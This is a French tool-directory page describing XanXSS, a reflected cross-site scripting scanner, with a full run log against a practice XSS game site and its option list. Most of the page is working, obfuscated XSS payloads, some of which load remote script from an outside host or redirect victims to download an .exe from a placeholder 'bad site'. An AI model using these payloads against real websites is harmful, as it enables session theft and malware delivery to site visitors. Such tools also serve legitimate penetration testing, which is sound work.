Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
XanXSS — Un simple outil de détection de XSS | Kitploit
Outils/GitHubGitHub/ekultek/xanxss
Scanners de VulnérabilitésGénération de PayloadsSécurité WebFuzzingTests d'Intrusion
GitHubekultek/xanxss

XanXSS

Un simple outil de détection de XSS

Voir le dépôt
11032il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

XanXSS

XanXSS est un outil de recherche de XSS réfléchie (DOM à venir) qui génère des charges utiles à partir de modèles. Contrairement à d'autres scanners XSS qui se contentent de parcourir une liste de charges utiles, XanXSS tente de rendre la charge utile non identifiable, par exemple :

root@kitploit:~
<xAnXSS</TitLE></STYLE><SVG/ONload='alERt(1);'/></XaNxSs</titLe></StYlE><SvG/ONlOAD='alerT(1);'/>
</scRIPt>
/>cLIcK&#13;Me!</b</TextaRea></TiTLE><BUTtON ONcLIck='aleRT(1);'/>XaNxss</TEXTaRea>
<Svg/onLoad='alErT((1));'/>

Avec XanXSS, chaque charge utile est différente. XanXSS fonctionne en parcourant les charges utiles jusqu'à ce qu'un nombre spécifié soit trouvé ou qu'un minuteur atteigne le temps maximum, ce qui évite une boucle trop longue. Voici quelques fonctionnalités incluses dans XanXSS :

  • Possibilité de passer ses propres en-têtes avec -H
  • Possibilité de générer un script polyglotte avec -P
  • Possibilité de fonctionner derrière un proxy avec --proxy
  • Et bien d'autres encore

Preuve de concept

Pour cette preuve de concept, nous utiliserons https://xss-game.appspot.com/level1/frame

root@kitploit:~
admin@TBG-a0216:~/bin/python/xanxss$ python xanxss.py -u "http://xss-game.appspot.com/level1/frame?query=" -a 12 -t 12 -f 25 -v 

    ____  ___             ____  ___  _________ _________
    \   \/  /____    ____ \   \/  / /   _____//   _____/
     \     /\__  \  /    \ \     /  \_____  \ \_____  \ 
     /     \ / __ \|   |  \/     \  /        \/        \
    /___/\  (____  /___|  /___/\  \/_______  /_______  /
          \_/    \/     \/      \_/        \/        \/ 
Twitter->   @stay__salty
Github -->  ekultek         
Version---> v(0.1)


[info][16:37:34] using default payloads
[info][16:37:34] generating payloads
[info][16:37:34] running payloads through tampering procedures
[info][16:37:34] payloads tampered successfully
[info][16:37:34] running payloads
[debug][16:37:34] running payload '<xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/>'
[debug][16:37:34] running payload '<SCRipt&#13;Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>'
[debug][16:37:34] running payload '<xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>'
[debug][16:37:34] running payload '</sCRipt>'
[debug][16:37:34] running payload '<SCRIPT/*/srC=&#34;&#62;A=%0aprompT,A(();=%09'htTp://xSs.rockS/XSs.Js'</TeXTARea></TiTLE><buTTOn oncLiCK='ALeRT(1);'/>XAnXsS</tEXTARea></scrIPTjaVaSCRipT:/*--></sCRIPt>'
[debug][16:37:35] running payload '</SCripT>'
[debug][16:37:35] running payload '<XAnXSS</STYlE><SVg/OnLOAd='aLeRT(1));'/></xAnXsSjaVasCRIpt:/*--></scrIpt>'
[debug][16:37:35] running payload '<sCRIPt`Src=+cOnFiRm());=+'htTP://xSs.rOCKs/xsS.js'</TextaREA></tiTle><ButTon ONCliCK='AlErt(1);'/>xanxSS</TeXTarEa></SCriPtJAvaScrIPt:/*--></SCrIpt>'
[debug][16:37:35] running payload '<scRIpT</title></stYle><sVG/onlOAD='AlERT(1));'/>aLert((1));</scRipT</titLE></STyLe><sVG/oNlOad='aLeRt((1));'/>'
[debug][16:37:35] running payload '<SC\u009lripT/*/SrC=%0aConFirm();=&#160;'hTTP://xsS.ROcks/xSs.js'</TITle></StYlE><svg/ONLOad='ALerT(1);'/></ScriPT</StyLe><svG/OnLOAd='ALert((1);'/>'
[debug][16:37:35] running payload '<B//ONMOuSEOver=&#34;&#62;ConFIrm(();=&#160;wIndow.LoCATIoN=&#160\u005g;(pRoMPT))``;=%0A'htTpS://MyBaDSitE.cOM/dOwnLoAd.phP?iTem=+(pRomPt)``;=%0apuMPEDuPkICKs.exE'jaVAScrIpt:/*--></sCrIPt>ClIcK/*/mE!</b</tiTLe></sTyLE><sVG/OnLoAd='aLert(1));'/>'
[debug][16:37:35] running payload '<IfRA\u007pme%00SrC=%0AcOnFIRm(());=%0a"jaVAScriPT:pRoMPT(1)"jAVaScRIpt:/*--></SCriPt>'
[debug][16:37:36] running payload '</TiTLe><BUttoN oNcliCK='aLERt((1));'/>XanXss</texTAReA>'
[debug][16:37:36] running payload '</sCripT>'
[debug][16:37:36] running payload '<SVg/oNLoad='ALErT(1));'/>'
[debug][16:37:36] running payload '<script</tITLE></style><SVG/onLOAD='alerT(1);'/>AleRt(1);</ScRIpTjAvASCrIPT:/*--></scRIPt>'
[debug][16:37:36] running payload '<XaNxSs</tITle></sTYlE><SVg/ONload='aLERT((1);'/></xANxsS</stYLE><Svg/OnlOAD='AleRt(1);'/>'
[debug][16:37:36] running payload '<b//ONmOUSEoVEr=%0D[8].fInd(coNfIrM);=%09WinDoW.location=%0A(COnfiRm)(();=&#160;'htTPS://MYBadsite.cOM/DoWNlOaD.php?ITEm=+COnFIrM();=+puMPEDupKickS.ExE'</styLe><sVG/OnLOAd='alERt((1);'/>CLick%00Me!</b</sTYlE><SVG/onloAD='AlERt(1);'/>'
[debug][16:37:37] running payload '<scriPT</styLE><SvG/ONloaD='aLERT(1);'/>ALeRt(1);</SCrIPt</tiTLe></STYlE><sVG/OnloAd='aLeRT(1\u009x);'/>'
[debug][16:37:37] running payload '</sTyle><svg/oNLOad='alert((1);'/>'
[debug][16:37:37] running payload '<b/*/OnmOusEOver=&#160;A=%0apROMpt,A();=+wINdOW.LOCAtIon=&#34;&#62;co\U006EfiR\u006\u003id();=%09'HTtPS://MYBAdsiTE.com/doWNload.php?itEm=+((CoNfIrm)();=&#34;&#62;puMpedUPKickS.eXe'</teXtaREa></tiTLe><BUTTON oNclIck='aLeRT((1);'/>XanXsS</texTAREA>cLICk/*/Me!</B</StylE><SVG/ONloAd='aLERt((1));'/>'
[debug][16:37:37] running payload '<XANxSSJaVaScRIpt:/*--></SCripT></XAnXSs</TExtAREa></tITle\u008w><b\u009fuTTON oNclIck='Ale\u003rRT((1);'/>xANXss</TEXTArEA>'
[debug][16:37:37] running payload '<SCript/*/sRC=+A=&#160;prOmpt,A();=&#160;'HtTp://XsS.rocKS/xsS.JS'</stylE><sVG/onLoad='AlErT((1);'/></SCriptjAvaScriPt:/*--></ScrIpt>'
[debug][16:37:37] running payload '</StYLe><svg/onloAD='alERt(1);'/>'
[debug][16:37:38] running payload '<B/*/ONmouSeOvEr=%0Aa=&#160;prOmpT,A();=%09WIndOw.LOCAtION=%0Aa=%09prompt,a();=%0A'hTTps://MYBadsITe.COM/DOWNLOAD.PHp?ITeM=&#160;cO\u006Efir\u006D());=%0dPumPeduPkicks.EXE'</tITlE></StyLE><svg/OnlOAD='aLerT((1));'/>clIcK&#13;mE!</bJavASCript:/*--></sCrIPT>'
[warning][16:37:48] times up dumping found
[info][16:37:48] working payloads:
--------------------------------------------------
  ~~> <xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>
  ~~> <SCRipt&#13;Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>
  ~~> <xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/>
--------------------------------------------------
[info][16:37:48] found a total of 3 working payloads
admin@TBG-a0216:~/bin/python/xanxss$ 

Vérifions maintenant ces scripts dans le HTML du site :

Charge utile :<xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/> xanxsspoc1

Charge utile : <SCRipt&#13;Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/> xanxsspoc2

Charge utile : <xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/> xanxsspoc3

Options

XanXSS est livré avec la possibilité d'utiliser un proxy, est compatible avec proxychains, et permet d'ajouter des en-têtes personnalisés. Voici la liste complète des options pour votre commodité :

root@kitploit:~
usage: xanxss.py [-h] [-u http://test.com/test.php?id=] [-a VERIFY]
                 [-f AMOUNT] [-t TIME] [-p SCRIPT, [SCRIPT, ...]]
                 [-F FILE-PATH] [-v] [--proxy TYPE://IP:PORT]
                 [-H HEADER=VALUE,HEADER:VALUE] [--throttle TIME secs] [-P]

optional arguments:
  -h, --help            affiche ce message d'aide et quitte
  -u http://test.com/test.php?id=, --url http://test.com/test.php?id=
                        passez une URL à tester pour les vulnérabilités XSS. il est
                        recommandé d'utiliser une URL avec un paramètre de requête
  -a VERIFY, --amount VERIFY
                        nombre d'étapes de vérification à effectuer, cela détermine la
                        fiabilité de la charge utile. plus il y a d'étapes de vérification,
                        plus la charge utile sera fiable (*defaut=5)
  -f AMOUNT, --find AMOUNT
                        tente de trouver ce nombre de charges utiles fonctionnelles,
                        spécifier ceci ne garantit pas que vous trouverez ce nombre
                        de charges utiles fonctionnelles (*defaut=25)
  -t TIME, --time TIME  temps en secondes à passer sur les tests, sera utilisé
                        comme minuteur pour la vérification (*defaut=35s)
  -p SCRIPT, [SCRIPT, ...], --payloads SCRIPT, [SCRIPT, ...]
                        passez une liste séparée par des virgules de vos propres charges
                        utiles, doit contenir au moins 5 charges utiles
  -F FILE-PATH, --file FILE-PATH
                        passez un fichier texte contenant une charge utile par ligne,
                        doit contenir au moins 5 charges utiles
  -v, --verbose         mode verbeux pour afficher plus de sortie
                        (*defaut=False)
  --proxy TYPE://IP:PORT
                        passez un proxy au format type://ip:port
  -H HEADER=VALUE,HEADER:VALUE, --headers HEADER=VALUE,HEADER:VALUE
                        ajoutez vos propres en-têtes personnalisés à la requête
                        (*defaut=connection,user-agent)
  --throttle TIME (secs)
                        limitez chaque requête avec un temps de pause (*defaut=0)
  -P, --polyglot        générer un script polyglotte à ajouter à la fin des
                        scripts en cours d'exécution, s'il y a XSS, cela devrait le trouver
                        (*defaut=False)

Bugs

Si vous trouvez un bug ou un problème, veuillez créer une issue

Télécharger l’outil